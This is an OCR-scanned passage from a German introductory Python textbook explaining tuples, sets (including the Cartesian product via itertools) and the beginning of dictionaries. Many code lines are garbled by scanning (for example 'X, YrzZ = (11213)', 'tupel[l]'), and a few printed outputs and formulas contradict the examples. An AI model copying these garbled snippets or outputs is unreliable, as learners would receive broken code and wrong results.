Koordinatensystem darstellen. Aus der Schule weilst du, dass solche Punkte
aus zwei Komponenten bestehen, namlich einer x - und einer y -
Koordinate. Die Reihenfolge der Eintrage spielt hier eine wichtige Rolle,
denn der Punkt p, = (1,2) befindet sich an einer anderen Stelle im Koordi-

natensystem als p, = (2,1), was man an der folgenden Abbildung erkennen
kann:

Abbildung 8.2.1: Die Punkte p; = (1,2) und p, = (2,1) in einem zweidimensionalen
Koordinatensystem.

Um diese Punkte in Python abzubilden, verwenden wir Tupel. Dazu

schreiben wir in runde Klammern mit einem Komma getrennt die beiden
<Elemente>:



1 pl = (1,2)
2 p2 = (2,1)

Wie du siehst, haben wir die Tupel direkt in passenden Variablen mit den
Namen pl und p2 gespeichert. Dass auch Python hier ein Tupel erkennt,
kannst du durch einen Aufruf der Funktion t ype feststellen:

3 print (type(pl))
# Ausgabe: <class 'tuple'>

Tupel haben einen weiteren Vorteil gegeniber Listen: Sie sind
schneller. Immer dann, wenn du eine feste Menge an Elementen
durchlaufen willst, solltest du, falls moglich auf Tupel zurlickgreifen.

Nadheres zum schrittweisen Durchlaufen von Elementen lernst du in Kapitel
9.3.

In Python findet man Tupel jedoch nicht nur bei Punkten in
Koordinatensystemen und Vektoren, sondern auch bei Riickgabewerten
von Funktionen. In Kapitel 6 hast du bereits erfahren, dass man am Ende
einer Funktion mehrere Werte zurlickgeben kann. In Wahrheit werden
diese Werte jedoch in ein Tupel gepackt und dieses dann zuriickgegeben.

Beispiel 8.2.4: Gegeben sei die folgende Funktion:

1 def rickgabe():

2 return True, "Antwort", 42

Diese gibt beim Aufruf einfach drei Werte zurlick, namlich den
Wahrheitswert True, den String Antwort und die Zahl 42. Wir

speichern das Ergebnis in einer Variable:

3 ergebnis = rickgabe ()

Wenn wir uns mithilfe der Funktion type den Typ des Ergebnisses
anschauen, dann stellen wir fest, dass es sich um ein Tupel handelt:

4 print (type (ergebnis))



# Ausgabe: <class 'tuple'>

Wir lassen uns nun das Tupe1 selbst ausgeben:

5 print (ergebnis)
# (True, "Antwort", 42)

Wie du sehen kannst, wurden die Werte in der Reihenfolge eingetragen, in
der sie hinter dem Keyword return in Zeile 2 notiert wurden.

Wie bei Listen ist es moglich, die einzelnen Elemente mithilfe der
eckigen Klammern auszulesen.

Beispiel 8.2.5: Gegeben sei das folgende Tupel:

1 tupel = (4,8,7,6,10,11)

Wenn wir die 8 auslesen und in einer Variable speichern wollen, dann
schreiben wir direkt hinter den Namen des Tupels eckige Klammern und
notieren dort den Index des Elements. Auch hier wird wieder bei 0 zu
zahlen begonnen, d. h., der Index des Elements 8 innerhalb des
Tupelsist 1:

2 acht = tupel[l]

Das gleiche kdonnen wir mit allen anderen Elementen in dem Tupel
machen:

vier = tupel[0]
sieben = tupel[2]
sechs = tupel[3]
zehn = tupel[4]
elf = tupell[5]

N o o AW

Das ist aber kein guter Programmierstil, weil du auch alle Werte gleichzeitig
auslesen und in Variablen speichern konntest. Wie das? Nun, du notierst
vor dem = bei der Zuweisung einfach so viele Variablennamen, wie sich



Elemente in dem Tupel befinden. Die Variablennamen werden durch
Kommata voneinander getrennt.

Beispiel 8.2.6: Gegeben sei das folgende Tupel:

1 (1,2,3)

Es sollen alle Elemente gleichzeitig ausgelesen und Variablen zugewiesen
werden. Da sich in dem Tupel drei Elemente befinden, definieren wir

auch drei Variablen, die wir mit Kommata getrennt vor das = bei der
Zuweisung schreiben:

2 X, YrzZ = (11213)

Jetzt befinden sich die Zahlen 1, 2 und 3 in den Variablen x, y und z:

3 print (f"x={x},y={y},z={z}")
# Ausgabe: x=1, y=2, z=3

Man kann bei der Zuweisung auf der rechten Seite auch eine Variable
verwenden, in der ein Tupel gespeichert ist.

Beispiel 8.2.7:

1 punkt = (-1,2)

Es sollen die beiden Koordinaten x und y gleichzeitig ausgelesen und
Variablen zugewiesen werden. Da sich in dem Tupel zwei Elemente

befinden, definieren wir auch zwei Variablen, die wir mit Kommata
getrennt vor das = bei der Zuweisung schreiben:

2 x,y = punkt
In der Variable x befindet sich also die =1 und in v die 2:

3 print (£7x={x},y={y}")
# Ausgabe: x=-1, y=2



Beispiel 8.2.8: Gegeben sei die Funktion riickgabe aus Beispiel 8.2.4:

1 def rickgabe() :

2 return True, "Antwort", 42

Wenn wir die Ergebnisse alle gleichzeitig aus dem Tupel auslesen und

Variablen zuweisen wollen, dann beno6tigen wir drei Variablen, die wir mit
Kommata getrennt vor das = schreiben:

3 wahrheitswert, text, zahl = riickgabe ()

Achte darauf, dass du nicht zu viele Variablen auf die linke Seite schreibst,
da du ansonsten die folgende Fehlermeldung erhaltst:

4 wahrheitswert, text, zahl,name = riickgabe ()
# ValueError: not enough values to unpack (expected 4, got 3)

Diesen ValueError erhaltst du auch, wenn du zu wenige Variablen
vorsiehst:

5 wahrheitswert, text = rickgabe ()
# ValueError: too many values to unpack (expected 2)

Wenn du wissen mochtest, wie viele Elemente in einem Tupel enthalten
sind, dann kannst du die Funktion 1en verwenden. Dazu wird das Tupel
in die runden Klammern direkt hinter dem Funktionsnamen geschrieben.

Beispiel 8.2.9: Gesucht ist die Anzahl der Elemente in dem folgenden
Tupel:

1 (1,1,0,1)

Dazu rufen wir die Funktion len auf und uUbergeben ihr in runden
Klammern das Tupel. Das Ergebnis speichern wir in einer Variable und
geben sie anschliellend aus:

2 lange = len((1,1,0,1))



3 print (léange)
# Die Ausgabe lautet 4, weil das Tupel 4 Elemente enthalt.

Beispiel 8.2.10: Gegeben sei das folgende Tupel, das in einer Variable mit
dem Namen lottozahlen gespeichert wurde:

1 lottozahlen = (4,8,15,16,23,42)

Um die Anzahl der Elemente in dem Tupel zu bestimmen, Gbergeben wir
der Funktion 1en die Variable lottozahlen:

2 print(len(lottozahlen))
# Die Ausgabe lautet 6, weil das in der Variable "lottozahlen"
gespeicherte Tupel 6 Elemente hat.

Manchmal ist statt der Anzahl aller Elemente in einem Tupel interessant,

wie oft ein bestimmtes Element vorkommt. Dafiir ist in Python die
Methode count vorgesehen, die auf einem Tupel aufgerufen wird. Als

Parameter wird das Element Ubergeben, von dem bestimmt werden soll,
wie oft es vorkommt.

Beispiel 8.2.11: Gegeben sei das folgende Tupel, in dem die Zahlen einer
Telefonnummer gespeichert sind:

1l tel = (0,1,5,2,0,5,2,4,5,0,3,5)

Wir wollen herausfinden, wie oft die 5 in dem Tupel enthalten ist. Dazu
rufen wir auf dem Tupel die Methode count auf und ubergeben ihr die
5:

2 wie oft 5 = tel.count(5)

Da die 5 viermal in dem Tupel auftaucht, wird in der Variable
wie oft 5 auch der Wert 4 gespeichert:

3 print(wie oft 5)
# Es wird der Wert 4 ausgegeben.



Wenn du herausfinden mochtest, an welcher Position (Index) in einem
Tupel ein bestimmtes Element erstmals auftaucht, dann kannst du die

Methode index verwenden. In die runden Klammern der Methode

schreibst du dann das Element, von dem du die Position wissen mochtest.
Als Ergebnis erhaltst du einen Integer, der den Index angibt, an dem

sich das Element in dem Tupe1l befindet.

Beispiel 8.2.12: Gegeben sei der folgende Punkt im dreidimensionalen
Koordinatensystem:

1 punkt = (0,-1,-1)

Es soll geprift werden, an welcher Position in dem Tupel sich die
Koordinate —1 befindet. Dazu wird auf dem Tupel die Methode index
aufgerufen und als Parameter die —1 Ubergeben. Als Ergebnis erhalt man
einen Integer, der angibt, an welcher Position die =1 erstmals in dem
Tupel auftaucht:

2 print (punkt.index (-1))
# Die Ausgabe lautet 1. Es wird bei 0 zu z&hlen begonnen.

Wenn nach der Position eines Elements gesucht wird, das sich nicht in dem
Tupel befindet, dann liefert Python eine Fehlermeldung.

Beispiel 8.2.13:

1 punkt = (0,2,-1)
2 punkt.index (3)

Da die 3 nicht in dem Tupel enthalten ist, erhdlt man eine ValueError
Exception:

ValueError: tuple.index(x): x not in tuple

Wenn du picht wissen mochtest, wo genau, sondern ob sich ein
bestimmtes Element in einem Tupel befindet, dann kannst du das

Keyword in verwenden. Davor schreibst du das gesuchte Element und



dahinter das Tupel, in dem du suchen mochtest.

Beispiel 8.2.14: Gegeben sei der folgende Punkt im dreidimensionalen
Koordinatensystem:

1 punkt = (-1,8,3)

Wir wollen herausfinden, ob irgendwo die Koordinate 3 in dem Tupel zu
finden ist. Dafiir verwenden wir das Keyword in. Vor das Keyword
schreiben wir die 3 und dahinter das Tupel. Ergebnis dieses Ausdrucks ist
ein Wahrheitswert, den wir in einer Variable speichern und anschlieRend
ausgeben konnen:

2 ist enthalten = 3 in punkt

3 print(ist enthalten)
# Ausgabe: True, weil 3 in dem Tupel vorhanden ist.

Wenn wir nach der Koordinate 2 suchen, dann wird das ein Schuss ins
Blaue:

4 ist enthalten = 2 in punkt

5 print (ist enthalten)
# Ausgabe: False, weil 2 nicht in dem Tupel vorhanden ist.

Die Methode copy, die du bei den Listen bereits kennengelernt hast,
gibt es bei den Tupeln nicht. Da Tupel von Natur aus unveranderlich
sind, kannst du sie bedenkenlos mit dem Zuweisungsoperator = kopieren.

Beispiel 8.2.15:

1 tupel = (1,True,0,False)
Wir kopieren diese Liste mithilfe des = Operators in eine neue:
2 kopie = tupel

Wenn du dir die Kopie ausgibst, dann siehst du, dass alles funktioniert hat:



3 print (kopie)
# Die Ausgabe lautet (1, True, 0, False)

Um Tupel dynamisch zu machen, damit man Elemente hinzufligen oder
|6schen kann, bleibt dir nur eine Moéglichkeit: Du musst das Tupel in eine
Liste umwandeln. Das funktioniert mithilfe der Funktion 1ist. Mit ihr
kannst du aus einem Tupel eine Liste bauen. Dafiir Gbergibst du hinter
dem Wort 1ist in runden Klammern das Tupel, das zu einer Liste
gemacht werden soll.

Beispiel 8.2.16: Gegeben sei das folgende Tupel mit geraden Zahlen:
1 gerade = (2,4,6,8,10)

Da in dem Tupel nicht alle geraden Zahlen gespeichert sind, wollen wir
stattdessen lieber eine Liste verwenden, um weitere gerade Zahlen
hinzufiigen zu koénnen. Dazu rufen wir die Funktion 1ist auf und
Ubergeben ihr das Tupel mit den geraden Zahlen. Das Ergebnis wird in
einer Variable gerade gespeichert:

2 gerade liste = list (gerade)

Dass es sich hierbei jetzt wirklich um eine Liste handelt, kannst du
mithilfe der Funktion type feststellen:

3 print (type(gerade liste))
# Ausgabe: <class 'list'>

Auf dieser Liste kannst du nun die Methode append aufrufen, um
weitere gerade Zahlen hinzuzufiigen. Auch alle anderen Listenoperationen
sind selbstverstandlich moglich:

4 gerade liste.append(12)
5 gerade liste.remove (2)

6 print(gerade liste)
# Ausgabe: [4,6,8,10,12]



8.3 Sets

Die Datenstruktur Set ist am besten mit einer Menge aus der Mathematik
vergleichbar. Eine Besonderheit von Sets liegt darin, dass die darin

enthaltenen Elemente ungeordnet gespeichert sind. Deshalb ergeben hier
auch Methoden wie sort keinen Sinn. Zudem enthdlt ein Set auch keine

Duplikate, d. h., jedes Element ist einzigartig.

Die folgende Code-Schablone zeigt, wie ein Set definiert wird:

{<Element 1>, <Element 2>, ..., <Element n>}

Code-Schablone 8.3.1: Definition eines Sets

Ein Set wird durch geschweifte Klammern gekennzeichnet, in die
verschiedene <Elemente> mit Kommata getrennt eingetragen werden
kdnnen. Die Reihenfolge, in der die <Elemente> eingetragen werden,
bleibt dabei nicht erhalten.

Beispiel 8.3.1: Die Zahlen 0 bis 10 sollen in ein Set eingetragen werden.

Dazu werden zuerst geschweifte Klammern notiert und dort dann
nacheinander alle Zahlen mit Kommata getrennt eingetragen. Hinter dem
letzten Eintrag folgt kein Komma. Dieses Set weisen wir anschlieBend

einer Variable zu, um es zu speichern:

1 zahlen = {0,1,2,3,4,5,6,7,8,9,10}

Dass auch Python hier ein Set erkennt, kannst du durch einen Aufruf der
Funktion t ype feststellen:

2 print(type({0,1,2,3,4,5,6,7,8,9,10}))
# Ausgabe: <class 'set'>

Ein Set muss nicht zwangslaufig <Elemente> enthalten. In diesem Fall
spricht man von dem leeren Set. Das ist direkt vergleichbar mit der leeren
Menge @ aus der Mathematik. Um ein leeres Set zu erzeugen, musst du
allerdings die Funktion set ohne Parameter aufrufen, da Python den
Ausdruck {} als leeres Dictionary (Kapitel 8.4) interpretiert:



leere menge = set()

Man kann auch Variablen in einem Set speichern.

Beispiel 8.3.2: Gegeben seien die beiden Variablen wahrheitswert und
text:

1 wahrheitswert = True

2 text = "Story"

Diese Variablen kénnen nun in einem Set gespeichert werden:

3 {wahrheitswert, text}

Ein Set kann in Python Elemente mit verschiedenen Datentypen

speichern. Deshalb spielt es keine Rolle, dass die beiden Variablen
wahrheitswert und text nicht denselben Datentyp haben. Zusatzlich

dazu kénnen auch noch weitere Werte in ein Set eingetragen werden:

4 {wahrheitswert, text, "Bro"}

Wenn du wissen mochtest, wie viele Elemente in einem Set enthalten
sind, dann kannst du die Funktion 1en verwenden. Das Set wird in die
runden Klammern direkt hinter dem Funktionsnamen geschrieben.

Beispiel 8.3.3: Gesucht ist die Anzahl der Elemente in dem folgenden Set:
1{2,3,7,11,13,17,19}

Dazu rufen wir die Funktion len auf und Ubergeben ihr in runden
Klammern das Set. Das Ergebnis speichern wir in einer Variable und
geben sie anschlieBend aus:

2 lange = len({2,3,7,11,13,17,19})

3 print (lange)
# Das Ergebnis ist 7, weil das Set 7 Elemente enthalt.



Bei dem leeren Set liefert der Aufruf von 1en korrekterweise den Wert 0
zuriick:

print (len(set()))
# Die Ausgabe lautet 0, weil das leere Set keine Elemente enthalt.

Die Funktion 1en kann auch fir Dictionaries verwendet werden, die
in einer Variable gespeichert wurden.

Beispiel 8.3.4: Gegeben sei das folgende Set, das in einer Variable mit
dem Namen primzahlen gespeichert wurde:

1l primzahlen = {2,3,5,7,11,13,17,19}

Um die Anzahl der Elemente in dem Set zu bestimmen, Gbergeben wir der
Funktion len die Variable primzahlen, in der das Set mit den
Primzahlen gespeichert ist:

2 print (len (primzahlen))
# Die Ausgabe lautet 8, weil das in der Variable "primzahlen"
gespeicherte Set 8 Elemente enthalt.

In einem Set ist es jedoch nicht so ohne Weiteres moglich, bestimmte

Elemente auszulesen. Das liegt daran, dass hier keine Ordnung herrscht.
Wenn du bspw. versuchst wie bei Listen oder Tupel mit den eckigen

Klammern ein Element auszulesen, dann liefert dir Python eine
Fehlermeldung.

Beispiel 8.3.5: Gegeben sei das folgende Set:

1 gerade = {0,2,4,6,8,10}

Wir versuchen nun, die 2 auszulesen:

2 gerade[l]

Python liefert uns jetzt eine TypeError Exception:



TypeError: 'set' object is not subscriptable

Damit ist gemeint, dass Python aufgrund der fehlenden Ordnung keine
Elemente mithilfe eines Zugriffsoperators auslesen kann. Dafir ist diese
Datenstruktur einfach nicht geeignet. Wenn du Elemente strukturiert
abspeichern mochtest, dann kannst du z. B. eine Liste (Kapitel 8.1)

verwenden.

Uns interessiert bei Sets eher die Frage, ob ein bestimmtes Element
enthalten ist oder nicht. Dazu kannst du das Keyword in verwenden.
Davor schreibst du das gesuchte Element und dahinter das Set, in dem du
suchen mochtest.

Beispiel 8.3.6: Gegeben sei das folgende Set:

1l primzahlen = {2,3,5,7,11,13,17,19}

Wir wollen herausfinden, ob die Zahl 8 in dem Set mit Primzahlen
enthalten ist. Dafir verwenden wir das Keyword in. Vor das Keyword
schreiben wir die 8 und dahinter das Set mit Primzahlen. Das Ergebnis
speichern wir in einer Variable und geben diese anschlieffend aus:

2 ist enthalten = 8 in primzahlen

3 print(ist enthalten)
# Ausgabe: False, weil die 8 nicht in dem Set enthalten ist.

Beispiel 8.3.7: Gegeben sei das folgende Set mit Vokalen:
1 vokale = {'a','e','1"','o','u'}

Wir wollen herausfinden, ob sich der Buchstabe 1 in dem Set mit Vokalen
befindet. Daflir verwenden wir das Keyword in. Vor das Keyword
schreiben wir das i und dahinter das Set mit Vokalen. Das Ergebnis
speichern wir in einer Variable und geben diese anschlieffend aus:

2 ist enthalten = 'i' in vokale

3 print(ist enthalten)



# True, weil der Buchstabe 'i' im Set enthalten ist.

Ein Index kann hier allerdings nicht angegeben werden, weil die Elemente
in einem Set nicht geordnet gespeichert werden, wodurch auch kein

gezieltes Auslesen oder Hinzufligen maoglich ist.

Die Methode add kann dazu verwendet werden, um das Set zu
erweitern. Als Parameter wird das Element angegeben, das in dem Set
gespeichert werden soll.

Beispiel 8.3.8: Gegeben sei das folgende Set mit Primzahlen:

1l primzahlen = {2,3,5,7,11,13,17,19}

Dieses Set soll um die Primzahl 2 3 erweitert werden. Hierzu wird auf dem
Set die Methode add aufgerufen und die Primzahl als Parameter
Ubergeben:

2 primzahlen.add (23)

Wenn du dir das Set nun ausgeben lasst, siehst du, dass die 2 3 erfolgreich
hinzugefiigt wurde:

3 print (primzahlen)
# Die Ausgabe lautet {2, 3, 5, 7, 11, 13, 17, 19, 23}.

Wenn du versuchst, ein Element einem Set hinzuzufiigen, das bereits dort
enthalten ist, dann hat der Aufruf der Methode add keinen Effekt.




Beispiel 8.3.9: Gegeben sei das folgende Set:

1 primzahlen = {2,3,5,7,11,13,17,19}

In dieses Set soll die Primzahl 7 erneut eingetragen werden. Hierzu wird
auf dem Set die Methode add aufgerufen und die 7 als Parameter
Ubergeben:

2 primzahlen.add(7)

Da die 7 bereits in dem Set enthalten ist und es dort keine Duplikate gibt,
hat der Aufruf von add keinen Effekt. Wenn du dir das Set nun ausgeben
lasst, siehst du, dass es genauso aussieht wie vor dem Aufruf von add:

3 print (primzahlen)
# Die Ausgabe lautet immer noch {2, 3, 5, 7, 11, 13, 17, 19}.

Doch was ist, wenn sich in einem Set, das nur aus Primzahlen besteht,
plotzlich eine Zahl einschleicht, die nicht prim ist? Dann kannst du den
Ubeltiter mithilfe der Methode remove entfernen. Diese Methode erhilt

als Parameter ein Element, das aus der L1 ste entfernt werden soll.

Beispiel 8.3.10: Gegeben sei das folgende Set:

1 primzahlen = {2,3,5,7,8,11,13,17,19}

Die Zahl 8 ist offensichtlich keine Primzahl, da sie nicht nur durch 1 und
sich selbst, sondern z. B. auch durch 2 teilbar ist. Um die 8 aus dem Set zu
[6schen, verwenden wir die Methode remove, der wir die 8 als Parameter
Ubergeben:

2 primzahlen.remove (8)

Wenn du dir das Set nun ausgeben lasst, siehst du, dass die 8 erfolgreich
geloscht wurde:



3 print (primzahlen)
# Die Ausgabe lautet {2, 3, 7, 5, 11, 13, 17, 19, 23}, weil
die 8 entfernt wurde.

Wenn du den gesamten Inhalt eines Sets I6schen mdchtest, dann kannst
du dafiir die Methode clear verwenden.

Beispiel 8.3.11:

1l primzahlen = {1,2,3,5,6,7,8,11,13,17,19,20,22}

Leider haben sich so viele Zahlen eingeschlichen, die nicht prim sind, dass
wir uns dazu entscheiden, den gesamten Inhalt des Sets zu léschen. Dazu

rufen wir auf dem Set die Methode clear auf, die keine Parameter
erhalt:

2 primzahlen.clear ()

Danach befinden sich keine Zahlen mehr in dem Set:

3 print (primzahlen)
# Das Ergebnis ist das leere Set set (), weil alle Elemente
entfernt wurden.

Wenn du eine saubere Kopie eines Sets anfertigen modchtest, dann
solltest du dafir die Methode copy verwenden, die auf dem zu
kopierenden Set aufgerufen wird und keine Parameter erhalt. Das
Ergebnis ist eine vollstandige Kopie des Sets, die dann einer Variable
zugewiesen werden kann.

Beispiel 8.3.12: Gegeben sei das folgende Set:

1 primzahlen = {2,3,5,7,11}

Dieses Set kannst du kopieren, indem du die Methode copy aufrufst und
das Ergebnis einer Variable kopie zuweist:



2 kopie = primzahlen.copy ()

Wenn du dir die Kopie ausgibst, dann siehst du, dass alles funktioniert hat:

3 print (kopie)
# Die Ausgabe lautet {2,3,5,7,11}

Wie bei den Listen aus Beispiel 8.1.25 solltest du darauf achten, dass es
fir eine vollstandige Kopie nicht ausreicht, eine Zuweisung mit dem =
Operator vorzunehmen.

Wie bereits erwdhnt, ergibt es keinen Sinn, ein Set zu sortieren, da es von

Natur aus keine Ordnung besitzt. Manchmal mochte man aber genau das
machen! Wenn du eine Menge an zufallig generierten Primzahlen hast,
dann mochtest du vielleicht wissen, welche davon die kleinste ist. Genau
fur solche Falle kann es sich lohnen, ein Set in eine Liste umzuwandeln.

Das gelingt mithilfe der Funktion 11ist. Mit ihr kannst du auch aus einem
Set eine Liste bauen. Daflr Ubergibst du hinter dem Wort 1ist in
runden Klammern das Set, das zu einer Liste gemacht werden soll.

Beispiel 8.3.13: Gegeben sei das folgende Set mit Primzahlen:

1 primzahlen = {17,37,53,39,11,19}

Gesucht ist die kleinste dieser Primzahlen. Da die Zahlen in einem Set

gespeichert sind, kdnnen wir die Elemente nicht einfach mit dem Aufruf
der Methode sort sortieren. Fiir Listen ist diese Methode allerdings

definiert. Deshalb wandeln wir mithilfe der Funktion 1ist das Set zuerst
in eine Liste um und sortieren sie dann mit der bereits bekannten
Methode sort. Dazu rufen wir die Funktion 1ist auf und Gibergeben ihr
das Set mit den Primzahlen. Das Ergebnis wird in einer Variable
primzahlen liste gespeichert:

2 primzahlen liste = list(primzahlen)

Dass es sich hierbei jetzt wirklich um eine Liste handelt, kannst du



mithilfe der Funktion t ype feststellen:

3 print (type (primzahlen liste))
# Ausgabe: <class 'list'>

Auf diese L.i ste kannst du nun die Methode sort aufrufen und die frisch
sortierte Liste anschlielfend ausgeben:

4 primzahlen liste.sort()

5 print (primzahlen liste)
# Ausgabe: [11, 17, 19, 37, 39, 53]

Jetzt ist es kein Problem mehr, die kleinste Primzahl aus dem
urspringlichen Set zu bestimmen. Daflir missen wir nur das erste

Element der Liste mit dem Index O auslesen und ausgeben:

6 kleinste primzahl = primzahlen liste[0]

7 print (f"Die kleinste Primzahl ist: {kleinste primzahl}.")

Als Ausgabe erhaltst du also:

Die kleinste Primzahl der Liste ist: 11.

Das stimmt naturlich nur fir dieses Programm, denn die kleinste Primzahl
ist bekanntlich die 2.

Eine wichtige mathematische Operation fir Sets, bei der Tupel
entstehen, ist das , kartesische Produkt” X. Hierbei werden zwei oder mehr
Mengen miteinander ,multipliziert”. Wir betrachten das kartesische
Produkt A X B zweier Mengen A und B. Zur Berechnung werden einfach
alle Elemente a in der Menge A nacheinander mit allen Elementen b der
Menge B in einem geordneten Paar zusammengefligt. Die geordneten
Paare werden dann wieder in einer Menge gespeichert.

Beispiel 8.3.14: Gegeben seien die beiden Mengen A := {1,2} und B :=
{3,4}. Gesucht ist das kartesische Produkt A X B der Mengen A und B:

[l Das Element 1 aus der Menge A wird mit dem Element 3 aus der Menge B zu einem 2 - Tupel
(1,3) zusammengefigt.



[l Das Element 1 aus der Menge A wird mit dem Element 4 aus der Menge B zu einem 2 - Tupel
(1,4) zusammengefigt.

] Das Element 2 aus der Menge A wird mit dem Element 3 aus der Menge B zu einem 2 - Tupel
(2,3) zusammengefigt.

[l Das Element 2 aus der Menge A wird mit dem Element 4 aus der Menge B zu einem 2 - Tupel
(2,4) zusammengefugt.

Die so entstandenen vier Tupel werden in einer Ergebnismenge
zusammengefasst:

AxB={12}x{3,4} =1{(1,3),(1,4),(2,3),(2,4)}

Mithilfe des kartesischen Produkts kann bspw. die Menge aller Punkte im
zweidimensionalen Koordinatensystem definiert werden. Punkte sind
letztendlich nichts anderes als Tupel. Da fur jede Koordinate in einem

Punkt (x, y) eine reelle Zahl R verwendet werden kann, ist die Menge aller
Punkte einfach nur das kartesische Produkt der reellen Zahlen R mit sich
selbst:

R xR

Das kirzt man haufig auch durch
RZ

ab. In der Mathematik kommt es nicht selten vor, dass eine Menge mit sich
selbst , kartesisch multipliziert” wird.

Beispiel 8.3.15: Gegeben sei die Menge A := {0,1}. Gesucht ist das
kartesische Produkt A2 = A X A der Menge A. A muss dafiir mit sich selbst
,kartesisch multipliziert” werden:

[l Das Element 0 aus der Menge A wird mit dem Element 0 aus der Menge A zu einem 2 - Tupel
(0,0) zusammengefigt.

[l Das Element 0 aus der Menge A wird mit dem Element 1 aus der Menge A zu einem 2 - Tupel
(0,1) zusammengefigt.

[J Das Element 1 aus der Menge A wird mit dem Element 0 aus der Menge A zu einem 2 - Tupel
(0,1) zusammengefigt.

[l Das Element 1 aus der Menge A wird mit dem Element 1 aus der Menge A zu einem 2 - Tupel
(1,1) zusammengefigt.

Die so entstandenen vier Tupel werden in einer Ergebnismenge
zusammengefasst:



Ax B =1{1,2} x {3,4} = {(0,0), (0,1), (1,0), (1,1)}

In Python kannst du das kartesische Produkt eines Sets mit sich selbst
berechnen, indem man eine Funktion des Moduls itertools
verwendet. Diese Funktion heilit product und sie erhalt als ersten
Parameter ein Set, das mit sich selbst ,kartesisch multipliziert” werden
soll. Der zweite Parameter repeat gibt an, wie oft das Set kartesisch mit
sich selbst multipliziert werden soll.

Beispiel 8.3.16: Gegeben sei das folgende Set:
1 bits = {0,1}

Wir wollen das kartesische Produkt bits x bits berechnen. Dazu
importieren wir uns zuerst das Modul itertools:

2 import itertools

Von itertools verwenden wir nun die Funktion product, der wir das
Set bits mitgeben. Als Parameter repeat legen wir fest, wie oft das
Set mit sich selbst , kartesisch multipliziert” werden soll. Das ist in diesem
Fall zweimal. Das Ergebnis weisen wir einer Variable produkt zu:

3 produkt = itertools.product (bits, repeat=2)

Das Ergebnis wandeln wir mit der Funktion 1ist in eine Liste um und
geben es anschlieRend aus:

4 print (list (produkt))
# Ausgabe: [(O0, 0), (O, 1), (1, 0), (1, 1)]

84 Dictionaries

Du hast bestimmt schon einmal ein Worterbuch benutzt, oder? In einem
Deutsch-Englisch Worterbuch suchst du bspw. nach dem Wort ,,Schlange”



und bekommst als Ubersetzung ,,snake” vorgeschlagen. Vielleicht méchtest
du aber auch wissen, wie die Schlangenart ,,Python” auf Englisch heiRt und
erfahrst, dass es ,,python” ist. Ein Worterbuch stellt eine Datenstruktur dar,
in der Paare bestehend aus einem Schliissel und einem Wert (sogenannte
Schliissel-Wert-Paare) gespeichert werden. In unserem Beispiel ist das
deutsche Wort der Schliissel und die englische Ubersetzung der
dazugehorige Wert. Das funktioniert in beide Richtungen, also auch von
Englisch nach Deutsch. Dann ist allerdings das englische Wort der Schlissel
und die deutsche Ubersetzung der Wert.

Bei einem Worterbuch handelt es sich um eine Datenstruktur, die es auch
in Python gibt. Hier heiRt sie passenderweise Dictionary, was einfach
die englische Ubersetzung des Begriffs ,Wérterbuch” ist. Wie ein
Dictionary definiert wird, zeigt die folgende Code-Schablone:

{
<Schlissel 1> : <Wert 1>,

<Schliissel 2> : <Wert 2>,

<Schlissel n> : <Wert n>

}

Code-Schablone 8.4.1: Definition eines Dictionaries

In geschweiften Klammern {} werden ein oder mehrere Schliissel-Wert-
Paare eingetragen. Jedes dieser Paare besteht aus einem <Schliissel>,
der vor einem Doppelpunkt : steht und einem <Wert>, der hinter dem
Doppelpunkt notiert wird. Bis auf den letzten Eintrag werden alle
Schliissel-Wert-Paare mit Kommata voneinander getrennt.

Beispiel 8.4.1: Die deutschen Worter ,Apfel”, ,Computer” und ,Geld”
sollen zusammen mit ihren englischen Ubersetzungen ,,apple”, ,,computer’
und ,money” in einem Dictionary gespeichert werden. Dazu werden
zuerst geschweifte Klammern notiert, in die dann die Schliissel-Wert-Paare
eingetragen werden. Zuerst kommt das deutsche Wort als String und
dann hinter dem Doppelpunkt die englische Ubersetzung ebenfalls als

String:

(



{

"Apfel" : "apple",
"Computer" : "computer",
"Geld" : "money"

v A W N R

}

Man kann das Dictionary auch in einer Zeile schreiben, was sich aber

moglicherweise flr den Programmierer nicht so gut liest. Python selbst ist
egal, wie das Dictionary notiert wird, solange die Syntax-Regeln nicht

verletzt werden:

{"Apfel":"apple", "Computer":"computer", "Geld" : "money"}

Ein Dictionary kann auch in einer Variable gespeichert werden:

1 worterbuch = {

2 "Apfel" : "apple",

3 "Computer" : "computer",
4 "Geld" : "money"

5}

Dass es sich hierbei wirklich um ein Dictionary handelt, kannst du
durch einen Aufruf der Funktion t ype feststellen:

6 type ({"Apfel":"apple", "Computer":"computer", "Geld" :"money"})
# <class 'dict'>

In einem Dictionary koénnen sich auch keine Schlissel-Wert-Paare
befinden. Man spricht dann von dem leeren Dictionary {}.

Verwechsle das nicht mit der leeren Menge (Kapitel 8.3), die in Python
durch set () gekennzeichnet wird, obwohl in der Mathematik die

Notation { } geladufig ist.
Du kannst auch Variablen in einem Dictionary speichern.

Beispiel 8.4.2: Gegeben seien die beiden Variablen geld englischund
apfel deutsch:



1 geld englisch = "money"
2 apfel deutsch = "Apfel"

Diese konnen in einem Dictionary als <Schliissel> und als
<Wert> verwendet werden:

{
apfel deutsch : "apple",
"Computer" : "computer",
"Geld" : geld englisch

}

N o o bW

Um einen <Wert> aus einem Dictionary auslesen zu kénnen, wird ein
passender <Schliissel> bendtigt. Dieser wird dann in die eckigen
Klammern geschrieben, die direkt hinter dem Dictionary stehen.

Beispiel 8.4.3: Gegeben sei das folgende Dictionary:

1 worterbuch = {

2 "Apfel" : "apple",

3 "Computer" : "computer",
4 "Geld" : "money"

5}

Wenn du wissen mochtest, was ,Geld” auf Englisch heildt, dann kannst du
den Wert aus dem Dictionary auslesen. Dazu schreibst du hinter die
Variable worterbuch, in der das Dictionary gespeichert ist, eckige
Klammern und gibst den passenden <Schliissel>, hier den String
Geld, mit. Das Ergebnis kannst du auch in einer Variable speichern und
anschlieflend ausgeben:

6 geld englisch = worterbuch["Geld"]

7 print(geld englisch)
# Ausgabe: "money"

Wenn du versuchst, auf einen <Schliissel> zuzugreifen, der sich nicht




in dem Dictionary befindet, dann teilt dir Python das mit einer
KeyError Exception mit. Der Aufruf

8 worterbuch|["Fenster"]

fuhrt zu der folgenden Fehlermeldung:

KeyError: 'Fenster'

Der Vorteil gegentiber einer Liste ist, dass man keinen nichtssagenden
Index verwenden muss, um einzelne <Wert> in dem Dictionary zu

adressieren. Schluss mit Indexfehlern, oder? Ja, allerdings tritt an seine
Stelle jetzt die bereits in Beispiel 8.4.3 aufgetretene KeyError Exception.

Man ist sowohl bei den <Schliisseln> als auch bei den <Werten>
